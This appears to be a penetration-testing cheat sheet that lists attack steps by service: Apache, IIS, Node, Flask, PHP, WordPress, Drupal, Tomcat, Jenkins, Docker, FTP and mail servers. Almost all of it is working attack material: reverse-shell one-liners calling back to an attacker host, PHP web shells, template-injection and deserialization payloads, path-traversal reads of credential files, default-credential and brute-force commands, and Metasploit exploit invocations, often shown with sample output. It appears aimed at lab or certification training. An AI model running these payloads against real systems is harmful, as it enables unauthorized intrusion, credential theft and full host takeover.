Web servers and application frameworks you'll encounter serving content on ports 80, 443, 8080, and others. Misconfigurations and debug modes are the primary attack surface.

Apache / Nginx Misconfigs

What it is: The two most popular web servers on the internet. Apache serves ~30% and Nginx ~34% of all websites. Misconfigurations like exposed server-status, .htaccess abuse, alias traversal, and Shellshock are the main attack vectors.

Default ports: 80, 443, 8080

Vuln research:


Apache server-status exposure

Reveals active connections and URLs — Information disclosure

curl http://$IP/server-status
curl http://$IP/server-info

Apache .htaccess tricks

If you can upload .htaccess — Execute arbitrary extensions as PHP

# Upload .htaccess with:
AddType application/x-httpd-php .txt
# Now any .txt file executes as PHP

Nginx alias traversal

Misconfigured alias directive — Path traversal to read files

# If config has: location /files { alias /var/www/files/; }
curl http://$IP/files../etc/passwd

Apache mod_cgi shellshock (CVE-2014-6271)

RCE via CGI scripts — If /cgi-bin/ scripts exist

gobuster dir -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/common.txt -x sh,cgi,pl
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/$LHOST/4444 0>&1" http://$IP/cgi-bin/script.sh

Check for default pages and info

Quick info gathering on web servers

nikto -h http://$IP
# Check: /phpinfo.php, /info.php, /.git/, /.env

IIS (Internet Information Services)

What it is: Microsoft's web server, bundled with Windows Server. Serves ASP, ASPX, and static content. Common on Windows-based targets and often found alongside Active Directory environments.

Default ports: 80, 443, 8080

Vuln research:


Identify IIS version

Headers reveal version and OS — Determines attack surface

curl -sI http://$IP/ | grep -i server
nmap -sV -p 80,443 $IP
Example Output
Server: Microsoft-IIS/10.0
IIS 6.0 = Windows Server 2003 (very old, lots of exploits)
IIS 7.5 = Windows Server 2008 R2
IIS 8.5 = Windows Server 2012 R2
IIS 10.0 = Windows Server 2016/2019

IIS shortname enumeration

Tilde (~) vulnerability — Reveal hidden file/directory names

# Use IIS-ShortName-Scanner:
java -jar iis_shortname_scanner.jar http://$IP/
# Or manual:
curl -sI "http://$IP/~1/.aspx" 
# 404 = exists, 400 = doesn't exist

IIS WebDAV exploitation

If WebDAV is enabled — Upload files directly

davtest -url http://$IP/
cadaver http://$IP/
# Upload ASPX web shell:
curl -T shell.aspx http://$IP/shell.aspx
# If .aspx blocked, upload as .txt then MOVE:
curl -X MOVE -H "Destination: http://$IP/shell.aspx" http://$IP/shell.txt

IIS 6.0 RCE (CVE-2017-7269)

Buffer overflow in WebDAV — Windows Server 2003 IIS 6.0

python2 iis6_exploit.py $IP 80 $LHOST 4444
# Or Metasploit:
use exploit/windows/iis/iis_webdav_scstoragepathfromurl

web.config for sensitive info

IIS configuration file — May contain credentials and connection strings

# Try to read via LFI or directory traversal:
curl http://$IP/web.config
# Common locations:
C:\inetpub\wwwroot\web.config
C:\web.config
Example Output
<connectionStrings>
  <add connectionString="Server=localhost;Database=mydb;User Id=sa;Password=SuperSecret123;" />
</connectionStrings>

Default IIS files and directories

Check for information disclosure

# Files:
/iisstart.htm          # Default page
/aspnet_client/        # ASP.NET client files
/web.config            # Configuration
/_vti_bin/             # FrontPage extensions
/_vti_inf.html         # FrontPage version info

# Brute force:
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -x asp,aspx,config,txt

Node.js / Express

What it is: JavaScript runtime (Node.js) with Express as the most popular web framework. Deserialization attacks, prototype pollution, and SSRF are the primary vulnerabilities. Look for X-Powered-By: Express header.

Default ports: 3000, 8080, 8443

Vuln research:


Detect Node.js

Headers and error pages reveal the framework

curl -sI http://$IP/ | grep -i "x-powered-by"
# "X-Powered-By: Express" = Node.js/Express

Node.js deserialization RCE

Unsafe unserialize() — RCE via crafted cookie or input

# If the app uses node-serialize, craft IIFE payload:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('bash -i >& /dev/tcp/$LHOST/4444 0>&1')}()"}
# Base64 encode and inject into vulnerable cookie/parameter

Prototype pollution

Modify Object.prototype — Can lead to RCE or auth bypass

curl -X POST http://$IP/api -H "Content-Type: application/json" -d '{"__proto__":{"admin":true}}'

SSRF in Node.js

Server-side request forgery — Access internal services

curl "http://$IP/fetch?url=http://127.0.0.1:3000/admin"
curl "http://$IP/fetch?url=file:///etc/passwd"

Flask / Django

What it is: Python web frameworks. Flask is lightweight (uses Werkzeug/Jinja2), Django is full-featured. Flask debug mode (Werkzeug debugger) is an instant RCE. Jinja2 SSTI is the other primary attack vector.

Default ports: 5000 (Flask), 8000 (Django), 80, 443

Vuln research:


Detect Flask/Django

Headers and debug pages reveal the framework

curl -sI http://$IP/ | grep -i server
# Werkzeug = Flask

Werkzeug debugger RCE

Flask debug mode exposed — Interactive Python console

curl http://$IP/console
# If you see the Werkzeug debugger console:
# Enter: import os; os.popen('id').read()
# If PIN protected, calculate from /etc/passwd, /sys/class/net/eth0/address, /etc/machine-id

Flask SSTI (Jinja2)

Server-side template injection — Test with math expressions

curl "http://$IP/search?q={{7*7}}"
# RCE:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Django debug mode

Exposes settings, SQL queries, and paths — Information disclosure

curl http://$IP/nonexistent_path_12345
# Debug page reveals: URL patterns, installed apps, database settings, SECRET_KEY

Django admin panel

Default admin interface — Try common credentials

curl http://$IP/admin/
# Default: admin:admin, admin:password

PHP

What it is: The most common server-side scripting language on the web. Powers WordPress, Drupal, Joomla, and countless custom apps. Misconfigurations and dangerous functions are the main attack vectors.

Vuln research:


Identify PHP version

Check headers, phpinfo, and error pages

curl -sI http://$IP/ | grep -i "x-powered-by"
curl http://$IP/phpinfo.php
curl http://$IP/info.php

PHP wrapper attacks (LFI)

Use PHP stream wrappers to read source code or achieve RCE

# Read source code as base64:
curl "http://$IP/index.php?page=php://filter/convert.base64-encode/resource=config"

# RCE via data wrapper:
curl "http://$IP/index.php?page=data://text/plain,<?php system('id'); ?>"

# RCE via input wrapper (POST body becomes code):
curl -X POST "http://$IP/index.php?page=php://input" -d "<?php system('id'); ?>"

# Expect wrapper:
curl "http://$IP/index.php?page=expect://id"

PHP type juggling

Loose comparison (==) bypass — Authentication bypass

# If login uses: if ($password == $user_input)
# Send password as integer 0:
curl -X POST http://$IP/login.php -d "user=admin&password=0"
# In PHP: "secretpass" == 0 evaluates to TRUE (loose comparison)

PHP deserialization

Unserialize() with user input — Object injection to RCE

# Look for: unserialize($_GET['data']) or similar
# Craft serialized PHP object with magic methods (__wakeup, __destruct)
# Tools: phpggc for generating payloads
phpggc -l                    # List available chains
phpggc Laravel/RCE1 system id  # Generate payload

PHP disable_functions bypass

If dangerous functions are disabled — Techniques to bypass

# Check what's disabled:
curl http://$IP/phpinfo.php | grep disable_functions

# Bypass methods:
# 1. LD_PRELOAD + mail() / putenv()
# 2. FFI (PHP 7.4+)
# 3. pcntl_exec if available
# 4. Chankro tool for automated bypass

Dangerous PHP functions

Functions that enable RCE — Look for these in source code

system()         exec()           shell_exec()
passthru()       popen()          proc_open()
pcntl_exec()     eval()           assert()
preg_replace()   (with /e flag)   create_function()
include()        require()        file_get_contents()

CMS Platforms

Content Management Systems are high-value targets because they're everywhere, frequently unpatched, and often have known exploit paths. Always check the version first.

WordPress

What it is: The most popular CMS on the internet, powering ~40% of all websites. Plugins and themes are the primary attack surface — the core is generally secure when updated.

Default ports: 80, 443

Vuln research:


Enumerate WordPress

Full enumeration — Users, plugins, themes, versions

wpscan --url http://$IP/ -e ap,at,u --api-token YOUR_TOKEN
Example Output
[+] WordPress version 5.7.2
[+] User(s) Identified:
 - admin
 - editor
[+] Plugins Found:
 - wp-file-manager 6.0 (vulnerable!)

Brute force WordPress login

Target /wp-login.php with found usernames — Use xmlrpc for speed

wpscan --url http://$IP/ -U admin -P /usr/share/wordlists/rockyou.txt --password-attack xmlrpc
Example Output
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / monkey123

RCE via Theme Editor

Edit a PHP theme file to inject a shell — Requires admin access

# Appearance → Theme Editor → 404.php
# Replace content with:
<?php system($_GET['cmd']); ?>
# Visit: http://$IP/wp-content/themes/twentytwentyone/404.php?cmd=id
Example Output
uid=33(www-data) gid=33(www-data)

RCE via Plugin Upload

Upload a malicious plugin ZIP — Requires admin access

# Create malicious plugin
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip plugin-shell.zip shell.php
# Plugins → Add New → Upload Plugin → Install → Activate
# Visit: http://$IP/wp-content/plugins/shell.php?cmd=id

WP File Manager RCE (CVE-2020-25213)

Unauthenticated file upload — wp-file-manager < 6.9

curl -F 'cmd=upload' -F 'target=l1_Lw' -F 'upload[]=@shell.php' http://$IP/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

Extract credentials from wp-config.php

Database creds stored in plaintext — Check for password reuse

cat /var/www/html/wp-config.php | grep -i "DB_"
Example Output
define('DB_NAME', 'wordpress');
define('DB_USER', 'wp_admin');
define('DB_PASSWORD', 'SuperSecretDBPass!');
define('DB_HOST', 'localhost');
Try this password on SSH, FTP, other services

Drupal

What it is: Enterprise-grade CMS used by governments and large organizations. Known for critical unauthenticated RCE vulnerabilities (Drupalgeddon series). Always check the version via CHANGELOG.txt.

Default ports: 80, 443

Vuln research:


Identify Drupal version

Check CHANGELOG.txt or meta tags — Version determines exploit path

curl -s http://$IP/CHANGELOG.txt | head -5
curl -s http://$IP/ | grep 'name="Generator"'
droopescan scan drupal -u http://$IP/
Example Output
Drupal 7.57, 2018-02-21
(Drupal 7 < 7.58 = Drupalgeddon2)

Drupalgeddon2 (CVE-2018-7600)

Unauthenticated RCE on Drupal < 7.58 — One of the most reliable exploits

python3 drupalgeddon2.py http://$IP/
# Or use Metasploit:
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS $IP
run

Drupalgeddon3 (CVE-2018-7602)

Authenticated RCE on Drupal < 7.59 — Requires any valid user account

python3 drupa7-CVE-2018-7602.py http://$IP/ -u admin -p password -c "id"

RCE via PHP Filter module

Enable PHP Filter then inject code — Requires admin access

# Modules → Enable "PHP filter"
# Content → Add content → Basic page
# Text format: PHP code
# Body: <?php system($_GET['cmd']); ?>

Joomla

What it is: Popular open-source CMS, third most used after WordPress and Drupal. Extensions and components are the main attack surface. Admin panel at /administrator/.

Default ports: 80, 443

Vuln research:


Enumerate Joomla

Version, components, and configuration files — Use joomscan

joomscan -u http://$IP/
curl -s http://$IP/administrator/manifests/files/joomla.xml | grep version

Joomla default paths

Key files and directories — Check all of these

/administrator/          # Admin login
/configuration.php       # DB creds (if readable)
/README.txt             # Version info
/robots.txt             # Hidden paths

RCE via Template Editing

Edit a template PHP file — Requires admin access

# Extensions → Templates → Templates → Protostar → index.php
# Add: system($_GET['cmd']);
# Visit: http://$IP/index.php?cmd=id

Joomla configuration.php

Contains database credentials — Check for password reuse

cat /var/www/html/configuration.php | grep -E "(user|password|host|db)"
Example Output
public $user = 'joomla_admin';
public $password = 'J00mla_Sup3r!';
public $db = 'joomla_db';

CMS Made Simple

What it is: Lightweight CMS for small websites. Known for a blind SQL injection vulnerability in versions below 2.2.10 that dumps admin credentials.

Default ports: 80, 443

Vuln research:


Identify version

Check /doc/CHANGELOG.txt — Version determines SQLi availability

curl -s http://$IP/doc/CHANGELOG.txt | head -10

SQLi (CVE-2019-9053)

Blind SQLi on CMS Made Simple < 2.2.10 — Dumps admin credentials

python3 cmsms_sqli.py -u http://$IP/ --crack -w /usr/share/wordlists/rockyou.txt
Example Output
[+] Salt for password found: xxxxxxxx
[+] Username found: admin
[+] Email found: admin@site.com
[+] Password found: SuperSecret

Magento

What it is: E-commerce CMS platform owned by Adobe. Handles payment processing, making it a high-value target. Shoplift and other bugs allow unauthenticated admin access and RCE.

Default ports: 80, 443

Vuln research:


Identify Magento version

Check specific files and headers

curl -s http://$IP/RELEASE_NOTES.txt | head -5
curl -s http://$IP/magento_version
curl -s http://$IP/ | grep "Magento"
# Admin panel usually at: /admin or /index.php/admin

Magento Shoplift (CVE-2015-1397)

SQL injection → Admin access — Magento < 1.9.2.0

python2 shoplift.py http://$IP/
# Creates admin account: forme:forme

Magento authenticated RCE

After admin access — Install malicious package or edit templates

# System → Filesystem → IDE → Edit a PHP file
# Or install a malicious Magento Connect package
# Or use Froghopper attack:
# 1. Admin → Allow symlinks in template settings
# 2. Upload PHP shell as image (via category)
# 3. Create newsletter template with symlink to shell

Magento database credentials

app/etc/local.xml or app/etc/env.php — Plaintext DB creds

cat /var/www/html/app/etc/local.xml | grep -A5 "connection"
cat /var/www/html/app/etc/env.php | grep -A5 "connection"

Moodle

What it is: Open-source learning management system (LMS) used by universities and schools. Found on educational targets. Admin accounts can execute PHP code through plugins and themes.

Default ports: 80, 443

Vuln research:


Identify Moodle version

Check specific paths and source code

curl -s http://$IP/ | grep "moodle"
curl -s http://$IP/lib/upgrade.txt | head -5
curl -s http://$IP/theme/upgrade.txt | head -5
# Admin login: /login/index.php

Moodle RCE via Spell Check (CVE-2020-14321)

Teacher role escalation to admin → RCE — Moodle < 3.9

# Requires teacher account
# Enrol yourself as manager in a course → gain admin
# Then: Site Administration → Plugins → Install plugins → Upload malicious plugin ZIP

Moodle RCE via calculated questions

If you have teacher or admin access — PHP code execution

# Quiz → Add Question → Calculated
# In answer formula: {=system('id')}
# Or use the Tex filter if enabled for command execution

Moodle config.php

Database credentials in plaintext

cat /var/www/html/moodle/config.php | grep -E "(dbhost|dbname|dbuser|dbpass)"
Example Output
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle_admin';
$CFG->dbpass    = 'M00dle_Pass!';

Application Servers & Admin Panels

Management interfaces, monitoring dashboards, and application servers. These often run on non-standard ports and frequently have default credentials or unauthenticated access.

Apache Tomcat

What it is: Apache's Java servlet container. Serves Java web applications (WAR files). The /manager interface allows deploying applications — if you can access it, you get RCE by deploying a malicious WAR.

Default ports: 8080, 8443, 8009 (AJP)

Vuln research:


Identify Tomcat version

Check headers and default pages — Version determines available exploits

curl -s http://$IP:8080 | grep -i tomcat
curl -s http://$IP:8080/docs/ | head -5
Example Output
Apache Tomcat/9.0.31
If you see /manager or /host-manager paths, try default creds

Try default credentials on Manager

Tomcat ships with well-known defaults — Instant RCE if they work

# Common default creds:
# tomcat:tomcat
# admin:admin
# tomcat:s3cret
# admin:tomcat
# role1:tomcat
curl -u tomcat:tomcat http://$IP:8080/manager/html
Example Output
HTTP/1.1 200 OK
If you get 200 = you're in the manager console
If 401 = try other default creds
If 403 = manager is restricted to localhost (try from pivot)

Brute force Tomcat manager

Hydra or Metasploit against /manager/html — Use a targeted wordlist

hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://$IP:8080/manager/html
Example Output
[8080][http-get] host: 10.10.10.5   login: tomcat   password: s3cret

Deploy WAR shell via Manager (GUI)

Upload malicious WAR file through manager console — Gives you a web shell or reverse shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f war -o shell.war
# Upload via Manager GUI: "WAR file to deploy" -> Browse -> Deploy
# Then visit: http://$IP:8080/shell/
Example Output
Created shell.war (1.5KB)
After deploy, trigger at http://10.10.10.5:8080/shell/
Catch with: nc -lvnp 4444

Deploy WAR shell via curl

Script the WAR upload without using the GUI — Useful for automation

curl -u tomcat:tomcat -T shell.war "http://$IP:8080/manager/text/deploy?path=/shell"
curl http://$IP:8080/shell/
Example Output
OK - Deployed application at context path [/shell]

Tomcat text-based manager

Alternative manager endpoint — Sometimes accessible when HTML manager is blocked

curl -u tomcat:tomcat "http://$IP:8080/manager/text/list"
curl -u tomcat:tomcat "http://$IP:8080/manager/text/serverinfo"
Example Output
OK - Listed applications for virtual host localhost
/:running:0:ROOT
/manager:running:0:manager
/docs:running:0:docs

Read tomcat-users.xml

If you have file read (LFI) — Contains plaintext credentials

# Default locations:
/usr/share/tomcat9/etc/tomcat-users.xml
/opt/tomcat/conf/tomcat-users.xml
/var/lib/tomcat9/conf/tomcat-users.xml
C:\Program Files\Apache Software Foundation\Tomcat 9.0\conf\tomcat-users.xml
Example Output
<user username="admin" password="SuperSecret123" roles="manager-gui,admin-gui"/>

Tomcat Ghostcat (CVE-2020-1938)

AJP connector on port 8009 — Read files or achieve RCE on Tomcat < 9.0.31

# Check if AJP port is open
nmap -p 8009 $IP
# Exploit
python3 ajpShooter.py http://$IP:8009 /WEB-INF/web.xml read
Example Output
[*] Reading file /WEB-INF/web.xml
<web-app>
  <servlet>...
  Reveals internal configuration, sometimes credentials

Jenkins

What it is: Open-source CI/CD automation server. The /script console provides Groovy code execution which means instant RCE. Frequently found with weak or no authentication.

Default ports: 8080, 50000

Vuln research:


Access Jenkins Script Console

/script endpoint allows Groovy execution — Instant RCE if accessible

# Check if accessible (no auth or with found creds)
curl http://$IP:8080/script

Groovy reverse shell

Execute via Script Console — Full system shell

# Paste in /script console:
String host="$LHOST";int port=4444;String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break;}catch(Exception e){}};p.destroy();s.close();

Jenkins default credentials

Common defaults to try — Often left unchanged

# Default creds:
# admin:admin
# admin:password
# jenkins:jenkins
# Check for signup enabled: http://$IP:8080/signup

Read credentials from Jenkins

Decrypt stored secrets — Jenkins stores creds in XML files

# If you have filesystem access:
cat /var/lib/jenkins/credentials.xml
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret
# Use jenkins-decrypt tools to recover plaintext passwords

Create a Freestyle Project for RCE

Build step with shell command — Works with any Jenkins access

# New Item → Freestyle Project → Build → Execute shell
# Enter: bash -i >& /dev/tcp/$LHOST/4444 0>&1
# Click Build Now → catch shell

GitLab

What it is: Self-hosted Git repository manager with CI/CD. Public registration may be enabled, exposing internal source code. Multiple critical RCE CVEs in recent years.

Default ports: 80, 443, 8080

Vuln research:


Check GitLab version

Accessible via API or login page — Version determines exploit availability

curl -s http://$IP/api/v4/version
curl -s http://$IP/help | grep -i "GitLab"

GitLab RCE (CVE-2021-22205)

Unauthenticated RCE via image upload — GitLab 11.9-13.10.2

python3 gitlab_rce.py -u http://$IP -c "bash -i >& /dev/tcp/$LHOST/4444 0>&1"

Register account and explore

Public registration may be enabled — Access internal repos

# http://$IP/users/sign_up
# After login, check: /explore/projects
# Look for hardcoded credentials in repos

Webmin

What it is: Web-based system administration tool for Unix/Linux. Manages users, services, configs through a browser interface. Usually runs on port 10000 with HTTPS.

Default ports: 10000

Vuln research:


Identify Webmin version

Usually on port 10000 — Check login page source

curl -sk https://$IP:10000/ | grep -i version

Webmin RCE (CVE-2019-15107)

Unauthenticated RCE on Webmin 1.890-1.920 — Password reset backdoor

curl -sk "https://$IP:10000/password_change.cgi" -d 'user=root&pam=&expired=2&old=id%7Cid&new1=test&new2=test'

Default credentials

Common Webmin logins — Check for password reuse with system accounts

# root:<system password>
# admin:admin
# Webmin uses PAM by default = system credentials work

Grafana

What it is: Open-source monitoring and visualization platform. Displays dashboards from data sources like Prometheus, InfluxDB, and Elasticsearch. Known for a critical unauthenticated LFI vulnerability.

Default ports: 3000

Vuln research:


Identify Grafana version

Usually on port 3000 — Check login page

curl -s http://$IP:3000/api/health

Grafana LFI (CVE-2021-43798)

Unauthenticated arbitrary file read — Grafana 8.0.0 - 8.3.0

curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
# Try different plugins: graph, dashlist, table, text, pluginlist

Read Grafana database for creds

Grab the SQLite database — Contains admin password hash and data source creds

curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db" -o grafana.db
sqlite3 grafana.db "SELECT login,password,salt FROM user;"
sqlite3 grafana.db "SELECT name,type,url,user,password,basic_auth_password FROM data_source;"

Default credentials

Try before anything else — Often unchanged

# admin:admin
curl -u admin:admin http://$IP:3000/api/org

phpMyAdmin

What it is: Web interface for MySQL database management. If accessible, you can read/write databases and potentially write web shells via SQL. Almost always worth trying default credentials.

Default ports: 80, 443 (usually at /phpmyadmin path)

Vuln research:


Try default credentials

Common defaults and empty passwords — Often left misconfigured

# root: (empty)
# root:root
# root:password
# root:toor
# Check version: http://$IP/phpmyadmin/README

Write a web shell via SQL

INTO OUTFILE to write PHP shell — Requires FILE privilege

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

Read files via SQL

LOAD_FILE to read system files — Requires FILE privilege

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');

PostgreSQL / pgAdmin

What it is: Powerful open-source relational database. Unlike MySQL, PostgreSQL supports native command execution via COPY TO PROGRAM (v9.3+), making it a direct path to RCE when accessible.

Default ports: 5432 (PostgreSQL), 5050 (pgAdmin)

Vuln research:


Connect to PostgreSQL (port 5432)

Direct database access — Try default credentials

psql -h $IP -U postgres
# Default creds: postgres:postgres, postgres:(empty)

Command execution via PostgreSQL

COPY TO/FROM PROGRAM — Execute OS commands

-- Read files:
CREATE TABLE readfile(output text);
COPY readfile FROM '/etc/passwd';
SELECT * FROM readfile;

-- Execute commands (PostgreSQL 9.3+):
COPY (SELECT '') TO PROGRAM 'id';

-- Reverse shell:
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/$LHOST/4444 0>&1"';

Write files via PostgreSQL

COPY TO — Write web shells

COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

pgAdmin default credentials

Web interface for PostgreSQL — Often exposed

# Default: pgadmin4@pgadmin.org / admin
# Check: http://$IP:5050 or http://$IP/pgadmin

Elasticsearch / Kibana

What it is: Distributed search and analytics engine. Stores data in JSON indices. Frequently exposed without authentication, leaking credentials, PII, and application data. Kibana is its visualization frontend.

Default ports: 9200 (Elasticsearch), 5601 (Kibana)

Vuln research:


Check Elasticsearch (port 9200)

Unauthenticated by default — Dump all indices

curl -s http://$IP:9200/
curl -s http://$IP:9200/_cat/indices?v
curl -s http://$IP:9200/_search?pretty
Example Output
{
  "name" : "node-1",
  "cluster_name" : "elasticsearch",
  "version" : { "number" : "7.17.0" }
}
Indices may contain credentials, PII, logs

Dump specific index

Search for sensitive data — Credentials, tokens, PII

curl -s "http://$IP:9200/<index>/_search?pretty&size=100"
curl -s "http://$IP:9200/_all/_search?q=password&pretty"

Kibana (port 5601)

Dashboard may expose sensitive data — Check for open access

curl -s http://$IP:5601/api/status
# If accessible, browse dashboards for credentials/data

Nagios

What it is: Open-source IT infrastructure monitoring system. Web interface for viewing host/service status. Authenticated users can often execute commands through the CGI interface, and multiple RCE CVEs exist.

Default ports: 80, 443 (path: /nagios or /nagiosxi)

Vuln research:


Default credentials

Try before anything else — Often unchanged

# Nagios Core: nagiosadmin:nagiosadmin
# Nagios XI: nagiosadmin:PASSW0RD
curl -u nagiosadmin:nagiosadmin http://$IP/nagios/

Nagios XI authenticated RCE

Command injection via admin panel — Multiple vectors

# Nagios XI < 5.6.6: Authenticated RCE
# Admin → Configure → Core Config Manager → Commands
# Create command with injected shell:
# Command Line: /bin/bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'

# Or use Metasploit:
use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce

Read Nagios config for creds

Configuration files contain database and API credentials

cat /usr/local/nagiosxi/html/config.inc.php
cat /usr/local/nagios/etc/resource.cfg
# Contains $USER1$ macro paths and potentially credentials

Splunk

What it is: Enterprise SIEM and log analysis platform. The management interface allows installing custom apps, which can contain arbitrary Python or shell scripts. Admin access = RCE.

Default ports: 8000 (web), 8089 (management API)

Vuln research:


Default credentials

Splunk free/trial often has defaults

# admin:changeme
# admin:admin
curl -u admin:changeme https://$IP:8089/services/auth/login -k

Splunk RCE via custom app

Upload malicious app — Executes arbitrary code

# Create a malicious Splunk app:
mkdir -p splunk_shell/bin splunk_shell/default
echo '#!/bin/bash\nbash -i >& /dev/tcp/$LHOST/4444 0>&1' > splunk_shell/bin/shell.sh
chmod +x splunk_shell/bin/shell.sh

cat > splunk_shell/default/inputs.conf << CONF
[script://./bin/shell.sh]
disabled = false
interval = 60
sourcetype = shell
CONF

tar -czf splunk_shell.tar.gz splunk_shell/

# Upload via: Apps → Manage Apps → Install App from File
# Or via API:
curl -k -u admin:changeme https://$IP:8089/services/apps/local -F name=splunk_shell -F filename=true -F update=true --data-binary @splunk_shell.tar.gz

Splunk Universal Forwarder

Management port 8089 — Often has default creds on forwarders

# Default: admin:changeme
# Forwarders can execute scripts:
curl -k -u admin:changeme https://$IP:8089/services/data/inputs/script -d name="/bin/bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'" -d interval=60

Docker API

What it is: Docker's remote management API. If exposed without authentication (which happens more than it should), you can create containers, mount the host filesystem, and escape to the host as root.

Default ports: 2375 (HTTP), 2376 (HTTPS)

Vuln research:


Check for exposed Docker API

Unauthenticated access — Full host compromise

curl http://$IP:2375/version
curl http://$IP:2375/containers/json
Example Output
{"Version":"20.10.7","ApiVersion":"1.41","Os":"linux","Arch":"amd64"}
If you see this = full Docker control without authentication

Mount host filesystem and get root

Create a container with host root mounted — Read/write everything

# List images:
curl http://$IP:2375/images/json

# Create container with host root mounted:
curl -X POST http://$IP:2375/containers/create -H "Content-Type: application/json" -d '{"Image":"<image_name>","Cmd":["/bin/bash"],"Binds":["/:/host"],"Tty":true}'

# Start container:
curl -X POST http://$IP:2375/containers/<container_id>/start

# Exec into container:
curl -X POST http://$IP:2375/containers/<container_id>/exec -H "Content-Type: application/json" -d '{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true}'

Docker socket escape

If you're inside a container with /var/run/docker.sock mounted

# Check:
ls -la /var/run/docker.sock

# Use docker client inside container:
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host bash

Service-Specific Exploits

Exploitation techniques for network services (FTP, mail, SMB, etc.). These target the service itself rather than a web application running on top.

ProFTPD

What it is: Popular open-source FTP server for Unix/Linux. The mod_copy module (enabled by default) allows unauthenticated file copying on the server, which is a common exploit path.

Default ports: 21

Vuln research:


Check ProFTPD version

Banner grab reveals version — Determines exploit path

nc -nv $IP 21
nmap -sV -p 21 $IP
Example Output
220 ProFTPD 1.3.5 Server ready.

ProFTPD mod_copy (CVE-2015-3306)

Copy files on the server without authentication — ProFTPD 1.3.5

nc $IP 21
SITE CPFR /etc/passwd
350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/passwd.txt
250 Copy successful
curl http://$IP/passwd.txt

Copy SSH key for access

Use mod_copy to steal or plant SSH keys — Instant shell access

nc $IP 21
SITE CPFR /home/user/.ssh/id_rsa
SITE CPTO /var/www/html/id_rsa
curl http://$IP/id_rsa -o id_rsa
chmod 600 id_rsa
ssh -i id_rsa user@$IP

ProFTPD RCE (CVE-2019-12815)

mod_copy in ProFTPD up to 1.3.5b — Arbitrary file copy

searchsploit proftpd
# Use exploit/unix/ftp/proftpd_modcopy_exec in Metasploit

vsftpd

What it is: "Very Secure FTP Daemon" — lightweight FTP server for Linux. Version 2.3.4 was infamously backdoored with a hardcoded shell triggered by a smiley face in the username.

Default ports: 21 (FTP), 6200 (backdoor shell)

Vuln research:


vsftpd 2.3.4 Backdoor

Smiley face backdoor — Triggered by username containing :)

nc $IP 21
USER backdoor:)
PASS anything
# Opens shell on port 6200
nc $IP 6200

Metasploit vsftpd backdoor

Automated exploitation — Fastest method

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS $IP
run

Check if backdoor is present

Not all 2.3.4 installations have the backdoor — Verify first

nmap -sV -p 21 $IP
# If version shows 2.3.4, try the backdoor
nmap -p 6200 $IP

Samba (Exploits)

What it is: Open-source implementation of SMB/CIFS for Linux/Unix. Provides file sharing and Active Directory compatibility. SambaCry (CVE-2017-7494) is the most well-known exploit.

Default ports: 139, 445

Vuln research:


SambaCry / EternalRed (CVE-2017-7494)

RCE on Samba 3.5.0 - 4.6.4 — Write access to any share required

smbclient -L //$IP/ -N
rpcclient -U "" -N $IP -c "srvinfo"

# Metasploit:
use exploit/linux/samba/is_known_pipename
set RHOSTS $IP
set SMB_SHARE_NAME <writable_share>
run

Read files outside the share — If wide links enabled

smbclient //$IP/share -N
smb: \> symlink /etc/passwd passwd_link
smb: \> get passwd_link

Samba username enumeration

Enumerate valid users without authentication

rpcclient -U "" -N $IP
rpcclient $> enumdomusers
rpcclient $> enumdomgroups

Check for null sessions

Anonymous access to IPC$ — Enumerate everything

smbclient -L //$IP/ -N
smbmap -H $IP
enum4linux -a $IP
crackmapexec smb $IP -u '' -p '' --shares

Exim

What it is: Mail Transfer Agent (MTA) commonly found on Linux mail servers. The CVE-2019-10149 "Return of the WIZard" vulnerability allows unauthenticated RCE on versions 4.87-4.91.

Default ports: 25, 465, 587

Vuln research:


Identify Exim version

Banner grab on port 25 — Version determines exploit path

nc -nv $IP 25
nmap -sV -p 25 $IP

Exim 4.87-4.91 RCE (CVE-2019-10149)

"The Return of the WIZard" — Local or remote RCE

python3 raptor_exim_wiz.py -t $IP -p 25 -c "bash -i >& /dev/tcp/$LHOST/4444 0>&1"

Exim user enumeration

VRFY and EXPN commands — Enumerate valid users

smtp-user-enum -M VRFY -U users.txt -t $IP
smtp-user-enum -M EXPN -U users.txt -t $IP
smtp-user-enum -M RCPT -U users.txt -t $IP

Dovecot

What it is: Open-source IMAP/POP3 mail server for Linux. Usually found alongside Postfix or Exim. Config files often contain plaintext credentials. Rarely directly exploitable but a great source of credentials.

